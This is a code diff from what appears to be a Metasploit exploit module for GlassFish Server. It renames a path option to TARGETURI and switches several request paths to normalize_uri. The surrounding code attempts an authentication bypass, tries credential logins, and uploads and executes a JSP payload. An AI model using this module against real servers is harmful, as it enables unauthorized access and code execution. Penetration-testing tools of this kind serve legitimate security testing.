@@ -55,7 +55,7 @@ def initialize(info={})
55
55
OptString . new ( 'APP_RPORT' , [ true , 'The Application interface port' , '8080' ] ) ,
56
56
OptString . new ( 'USERNAME' , [ false , 'The username to authenticate as' , 'admin' ] ) ,
57
57
OptString . new ( 'PASSWORD' , [ false , 'The password for the specified username' , '' ] ) ,
58
- OptString . new ( 'PATH ' , [ true , "The URI path of the GlassFish Server" , '/' ] ) ,
58
+ OptString . new ( 'TARGETURI ' , [ true , "The URI path of the GlassFish Server" , '/' ] ) ,
59
59
OptBool . new ( 'SSL' , [ false , 'Negotiate SSL for outgoing connections' , false ] )
60
60
] , self . class )
61
61
end
@@ -595,7 +595,7 @@ def upload_exec(opts = {})
595
595
end
596
596
597
597
#Execute our payload using the application interface (no need to use auth bypass technique)
598
- jsp_path = "/" + app_base + "/" + jsp_name + " .jsp"
598
+ jsp_path = normalize_uri ( target_uri . path , app_base , " #{ jsp_name } .jsp")
599
599
nclient = Rex ::Proto ::Http ::Client . new ( datastore [ 'RHOST' ] , datastore [ 'APP_RPORT' ] ,
600
600
{
601
601
'Msf' => framework ,
@@ -682,7 +682,7 @@ def try_glassfish_auth_bypass(version)
682
682
end
683
683
684
684
def my_target_host
685
- my_target_host = "http://#{ rhost . to_s } :#{ rport . to_s } #{ normalize_uri ( datastore [ 'PATH' ] ) } "
685
+ my_target_host = "http://#{ rhost . to_s } :#{ rport . to_s } #{ normalize_uri ( target_uri . path ) } "
686
686
end
687
687
688
688
@@ -740,7 +740,7 @@ def try_normal_login(version)
740
740
private_type : :password
741
741
) )
742
742
743
- @scanner . send_request ( { 'uri' => '/' } )
743
+ @scanner . send_request ( { 'uri' => normalize_uri ( target_uri . path ) } )
744
744
@scanner . version = version
745
745
@cred_collection . each do |raw |
746
746
cred = raw . to_credential
0 commit comments